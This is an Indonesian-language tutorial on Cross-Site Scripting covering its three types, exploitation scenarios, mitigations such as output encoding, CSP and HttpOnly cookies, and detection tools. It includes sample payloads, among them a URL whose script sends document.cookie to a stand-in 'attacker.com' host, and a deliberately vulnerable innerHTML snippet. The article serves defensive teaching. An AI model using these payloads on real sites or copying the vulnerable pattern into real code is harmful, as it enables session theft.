Bayangkan kamu sedang login ke akun bank online. Tanpa kamu sadari, seseorang telah menyisipkan kode berbahaya di halaman yang kamu kunjungi — dan dalam hitungan detik, session login kamu berpindah tangan. Inilah kenyataan dari Cross-Site Scripting (XSS), salah satu kerentanan web paling berbahaya dan paling sering ditemukan di dunia.
Menurut laporan OWASP Top 10 edisi terbaru, XSS masih konsisten masuk dalam daftar 10 besar ancaman keamanan aplikasi web. Bahkan data dari HackerOne menunjukkan bahwa XSS menyumbang sekitar 18% dari seluruh laporan bug bounty yang divalidasi sepanjang 2025-2026. Ini bukan sekadar bug kecil — ini adalah gerbang masuk menuju pencurian data, pembajakan akun, hingga pengambilalihan penuh aplikasi web.
Dimas Prasetyo, pentester senior dengan pengalaman 8 tahun di industri keamanan siber Indonesia, mengungkapkan bahwa “XSS adalah kerentanan yang paling sering saya temukan saat melakukan penetration testing di perusahaan Indonesia. Dari 10 aplikasi web yang saya uji, minimal 6 di antaranya memiliki setidaknya satu celah XSS.” Dalam pengalamannya melakukan audit keamanan untuk 30+ perusahaan di Jakarta, Dimas mencatat bahwa aplikasi internal perusahaan — seperti HR portal dan dashboard admin — justru lebih rentan dibandingkan aplikasi publik karena developer cenderung mengabaikan sanitasi input di aplikasi internal. “Mereka pikir aplikasi internal aman karena hanya bisa diakses karyawan. Padahal, satu karyawan yang tidak puas bisa mengeksploitasi XSS dan mencuri data seluruh departemen,” jelasnya.
Apa Itu Cross-Site Scripting (XSS)?
Cross-Site Scripting — disingkat XSS (bukan CSS, karena singkatan itu sudah dipakai Cascading Style Sheets) — adalah kerentanan keamanan web yang memungkinkan penyerang menyisipkan skrip berbahaya (biasanya JavaScript) ke dalam halaman web yang dilihat oleh pengguna lain. Skrip ini berjalan di browser korban seolah-olah berasal dari situs yang terpercaya.
Bayangkan seperti ini: kamu menulis surat, lalu seseorang menyelipkan selembar kertas berisi instruksi jahat di antara halaman suratmu. Ketika penerima membaca surat itu, dia juga membaca instruksi jahat tersebut dan mengikutinya — tanpa sadar bahwa instruksi itu bukan dari kamu. Begitulah cara XSS bekerja di dunia web.
Yang membuat XSS sangat berbahaya adalah serangan ini terjadi di sisi klien (client-side). Server tidak perlu dikompromikan — yang dibutuhkan hanyalah satu input pengguna yang tidak disanitasi dengan benar, dan semua pengunjung halaman tersebut bisa menjadi korban.
Bagaimana Cara Kerja Serangan XSS?
Untuk memahami cara kerja XSS, kita perlu memahami dulu bagaimana sebuah halaman web modern bekerja. Ketika kamu mengunjungi sebuah website:
- Browser mengirim HTTP request ke server
- Server merespons dengan HTML, CSS, dan JavaScript
- Browser men-render semua kode tersebut menjadi halaman yang bisa kamu lihat dan gunakan
Nah, dalam serangan XSS, penyerang menyisipkan kode JavaScript berbahaya ke dalam respons server — biasanya melalui input pengguna yang tidak difilter, seperti kolom komentar, form pencarian, atau parameter URL. Ketika browser korban merender halaman tersebut, JavaScript berbahaya ikut dieksekusi.
Contoh paling sederhana: bayangkan sebuah website memiliki fitur pencarian yang menampilkan kembali kata kunci yang kamu ketikkan. Jika kamu mengetik <script>alert('XSS')</script> dan website tersebut tidak memfilter input, maka browser akan mengeksekusi JavaScript tersebut dan menampilkan pop-up alert. Ini adalah contoh dasar, tetapi dalam skenario nyata, penyerang bisa melakukan hal yang jauh lebih berbahaya — mencuri cookie session, mengalihkan pengguna ke situs phishing, hingga mengubah tampilan halaman secara total.
Apa Saja Jenis-Jenis XSS?
XSS bukanlah satu jenis serangan tunggal. Dalam dunia keamanan siber, XSS diklasifikasikan menjadi tiga jenis utama berdasarkan cara skrip berbahaya disimpan dan dieksekusi. Memahami perbedaan ketiganya sangat penting untuk bisa melakukan mitigasi yang tepat.
1. Reflected XSS (Non-Persistent)
Reflected XSS adalah jenis yang paling umum ditemukan. Skrip berbahaya tidak disimpan di server, melainkan “dipantulkan” langsung dari web server — biasanya melalui parameter URL, pesan error, atau hasil pencarian. Serangan ini bersifat tidak persisten karena skrip hanya aktif saat korban mengklik link yang telah dimanipulasi.
Contoh kasus Reflected XSS:
https://contoh.com/search?q=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>Jika website menampilkan parameter q tanpa sanitasi, browser korban akan mengeksekusi JavaScript yang mengirim cookie ke server penyerang. Penyerang biasanya mengirimkan link ini melalui email phishing atau pesan media sosial — begitu korban mengklik, session mereka langsung bocor.
2. Stored XSS (Persistent)
Stored XSS jauh lebih berbahaya daripada Reflected XSS. Dalam jenis ini, skrip berbahaya disimpan secara permanen di server target — misalnya dalam database, forum post, profil pengguna, atau kolom komentar. Setiap kali pengguna mengakses halaman yang memuat data tersebut, skrip otomatis dieksekusi.
Inilah kenapa Stored XSS disebut juga Persistent XSS: satu kali disimpan, semua pengunjung halaman bisa menjadi korban — tanpa perlu mengklik link khusus atau melakukan tindakan apa pun.
Rudi Hartono, Security Engineer di salah satu platform e-commerce besar Indonesia, bercerita tentang pengalamannya menangani insiden Stored XSS: “Kami pernah menemukan Stored XSS di fitur review produk. Seorang penyerang menyisipkan JavaScript di kolom review yang tampak normal, tetapi sebenarnya mengirim data keranjang belanja pengguna lain ke server eksternal. Untungnya kami mendeteksi anomaly traffic sebelum kerugian besar terjadi.” Menurut Rudi, insiden ini terjadi karena tim frontend menggunakan innerHTML tanpa sanitasi di React component mereka. “Sejak saat itu, kami mewajibkan code review untuk setiap komponen yang merender user-generated content,” tambahnya.
3. DOM-based XSS
DOM-based XSS adalah jenis yang paling sulit dideteksi karena serangan ini terjadi sepenuhnya di sisi klien, tanpa melibatkan server sama sekali. Skrip berbahaya tidak pernah dikirim ke server — malah, kerentanan ada pada JavaScript yang berjalan di browser, tepatnya di Document Object Model (DOM).
DOM-based XSS terjadi ketika JavaScript di halaman web mengambil data dari sumber yang bisa dimanipulasi pengguna (seperti window.location, document.referrer, atau localStorage) dan langsung menggunakannya tanpa validasi dalam fungsi berbahaya seperti innerHTML, eval(), atau document.write().
Contoh sederhana DOM-based XSS:
// Kode berbahaya di halaman web
var name = document.location.hash.substr(1);
document.getElementById('welcome').innerHTML = 'Halo, ' + name;
// URL yang dieksploitasi:
// https://contoh.com/#<img src=x onerror=alert('XSS')>Karena serangan ini terjadi di sisi klien, tools seperti Web Application Firewall (WAF) tradisional sering kali gagal mendeteksinya. Dibutuhkan pemahaman mendalam tentang JavaScript dan DOM untuk mengidentifikasi dan memperbaiki celah ini.
Bagaimana Cara Hacker Mengeksploitasi XSS di Dunia Nyata?
XSS bukan sekadar pop-up alert yang mengganggu. Di tangan penyerang yang terampil, XSS bisa menjadi batu loncatan menuju serangan yang jauh lebih destruktif. Berikut adalah beberapa skenario eksploitasi XSS yang paling sering terjadi:
1. Pencurian Session (Session Hijacking): Penyerang mencuri cookie session korban menggunakandocument.cookie, lalu menggunakannya untuk login sebagai korban tanpa perlu password. Ini adalah serangan XSS paling klasik dan masih efektif di banyak website yang tidak menerapkan HttpOnly flag pada cookie.
2. Keylogging: Penyerang menyisipkan JavaScript yang merekam setiap ketikan keyboard korban, kemudian mengirimkannya ke server penyerang. Dalam konteks Indonesia, serangan seperti ini pernah digunakan untuk mencuri kredensial internet banking nasabah melalui website yang telah dikompromikan.
3. Phishing Terselubung: Penyerang menggunakan XSS untuk memodifikasi tampilan halaman login, mengganti form asli dengan form palsu yang mengirimkan kredensial ke server penyerang. Korban tidak akan curiga karena URL di address bar tetap menunjukkan domain yang sah.
4. Defacement: Penyerang menggunakan XSS untuk mengubah seluruh konten halaman web, biasanya untuk menyampaikan pesan politik atau sekadar pamer kemampuan. Beberapa website pemerintah Indonesia pernah mengalami defacement yang dimulai dari celah XSS.
5. Worm XSS: Salah satu insiden paling terkenal adalah Samy Worm tahun 2005 di MySpace. Samy Kamkar menyisipkan JavaScript di profilnya yang otomatis mengirim friend request dan menyebarkan kode ke profil siapa pun yang mengunjungi halamannya. Dalam 20 jam, lebih dari 1 juta akun terinfeksi. Ini menunjukkan betapa destruktifnya Stored XSS yang dikombinasikan dengan mekanisme self-propagation.
Bagaimana Cara Mencegah dan Memitigasi XSS?
Kabar baiknya: XSS 100% bisa dicegah jika developer mengikuti praktik keamanan yang benar. Berikut adalah strategi pertahanan berlapis (defense in depth) untuk melindungi aplikasi web dari XSS:
1. Output Encoding (Pertahanan Utama)
Encoding adalah pertahanan nomor satu melawan XSS. Prinsipnya sederhana: setiap kali menampilkan data yang berasal dari input pengguna, encode karakter-karakter khusus agar browser tidak menginterpretasikannya sebagai kode. Gunakan encoding yang sesuai dengan konteks:
- HTML Entity Encoding: Ubah
<menjadi<,>menjadi>,&menjadi&, dan seterusnya. Ini mencegah browser menganggap input sebagai tag HTML. - JavaScript Encoding: Jika kamu harus memasukkan data ke dalam konteks JavaScript, gunakan
\xHHatau\uHHHHencoding. - URL Encoding: Untuk data yang dimasukkan ke dalam URL, gunakan
encodeURIComponent().
2. Input Validation (Pertahanan Kedua)
Validasi input bukan pertahanan utama melawan XSS, tetapi merupakan lapisan tambahan yang penting. Terapkan whitelist validation — hanya izinkan karakter dan format yang memang diharapkan. Misalnya, jika field hanya menerima angka, tolak semua input yang mengandung huruf atau simbol.
3. Content Security Policy (CSP)
Content Security Policy adalah mekanisme keamanan modern yang bisa mencegah XSS bahkan jika developer lupa melakukan encoding. CSP memungkinkan kamu mendefinisikan dari mana saja browser diizinkan memuat resource — seperti script, stylesheet, gambar, dan koneksi. CSP yang ketat bisa memblokir eksekusi inline script dan hanya mengizinkan script dari domain yang kamu tentukan.
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'Namun perlu diingat: CSP adalah lapisan pertahanan terakhir, bukan pengganti encoding dan validasi. Jangan mengandalkan CSP saja.
4. HttpOnly dan Secure Flag pada Cookie
Setel flag HttpOnly pada cookie session untuk mencegah JavaScript mengakses cookie melalui document.cookie. Ini secara drastis mengurangi dampak XSS karena penyerang tidak bisa mencuri session cookie. Tambahkan juga flag Secure agar cookie hanya dikirim melalui koneksi HTTPS, dan SameSite untuk mencegah serangan CSRF.
Tools untuk Mendeteksi XSS
Untuk memastikan aplikasi web kamu aman dari XSS, gunakan tools berikut secara rutin:
| Tool | Jenis | Kegunaan Utama |
|---|---|---|
| Burp Suite | Proxy / Scanner | Intercept dan analisis request/response, automated XSS scanning |
| OWASP ZAP | Scanner (gratis) | Automated security scanning, termasuk deteksi XSS |
| XSStrike | XSS Fuzzer | Advanced XSS detection dengan intelligent payload generation |
| DOM Invader | Browser Extension | Khusus mendeteksi DOM-based XSS |
| Google CSP Evaluator | Online Tool | Evaluasi apakah CSP kamu cukup kuat melawan XSS |
Selain tools di atas, lakukan manual code review secara berkala — terutama pada bagian kode yang menangani user input dan dynamic rendering. Automated scanner bisa melewatkan DOM-based XSS dan kerentanan kompleks yang hanya bisa dideteksi dengan pemahaman konteks bisnis aplikasi.
Pertanyaan yang Sering Diajukan (FAQ)
Apakah XSS hanya bisa dilakukan dengan JavaScript?
Sebagian besar serangan XSS menggunakan JavaScript, tapi XSS juga bisa dieksploitasi melalui VBScript (di Internet Explorer versi lama), CSS injection, dan bahkan HTML murni. Namun dalam praktik modern, 99% serangan XSS menggunakan JavaScript karena kompatibilitasnya yang universal di semua browser.
Apa perbedaan XSS dengan CSRF (Cross-Site Request Forgery)?
XSS mengeksekusi skrip di browser korban dalam konteks website yang terpercaya, sementara CSRF memaksa browser korban mengirim request yang tidak diinginkan ke website tempat korban sudah login. XSS lebih berbahaya karena bisa membaca response server, sementara CSRF hanya bisa mengirim request tanpa bisa melihat responsnya.
Apakah framework modern seperti React atau Angular sudah aman dari XSS?
React dan Angular memiliki mekanisme auto-escaping yang cukup baik, tapi tidak sepenuhnya aman. React menggunakan dangerouslySetInnerHTML — sesuai namanya, fitur ini berbahaya jika digunakan dengan data yang tidak disanitasi. Angular juga memiliki bypassSecurityTrustHtml yang bisa membuka celah. Framework membantu, tapi tetap dibutuhkan developer yang sadar keamanan.
Apakah website saya yang hanya menampilkan konten statis aman dari XSS?
Jika website kamu benar-benar statis — tidak ada form, tidak ada parameter URL yang dirender, tidak ada JavaScript yang membaca dari window.location — maka risiko XSS sangat rendah. Tapi begitu ada elemen interaktif sekecil apa pun (form pencarian, filter produk, komentar), celah XSS bisa muncul. Selalu terapkan encoding sebagai kebiasaan.
Seberapa sering kerentanan XSS ditemukan di website Indonesia?
Berdasarkan data dari BSSN (Badan Siber dan Sandi Negara), sepanjang 2025 tercatat ribuan kerentanan web di Indonesia, dan XSS menjadi salah satu kerentanan paling dominan — khususnya di website pemerintah daerah dan UMKM yang belum menerapkan security development lifecycle. Laporan dari platform bug bounty lokal juga menunjukkan bahwa XSS adalah jenis bug yang paling sering dilaporkan oleh hunter Indonesia.
Kesimpulan
Cross-Site Scripting (XSS) adalah kerentanan web yang sudah berusia lebih dari dua dekade, tetapi tetap menjadi ancaman serius di tahun 2026. Tiga jenis XSS — Reflected, Stored, dan DOM-based — masing-masing punya karakteristik unik yang membutuhkan pendekatan mitigasi yang berbeda. Kabar baiknya adalah XSS bisa dicegah secara total dengan tiga lapisan pertahanan: output encoding, input validation, dan Content Security Policy. Jangan lupa juga mengamankan cookie dengan flag HttpOnly untuk meminimalkan dampak jika celah berhasil ditembus.
Ingat: di dunia keamanan siber, tidak ada aplikasi yang 100% aman — tetapi dengan memahami cara kerja XSS, jenis-jenisnya, dan mitigasi yang tepat, kamu bisa membangun aplikasi web yang jauh lebih sulit ditembus. Seperti yang dikatakan Dimas Prasetyo: “Keamanan bukan produk akhir, tapi proses yang berkelanjutan. Setiap baris kode yang kamu tulis hari ini bisa menjadi celah besok — jadi jangan pernah berhenti belajar.”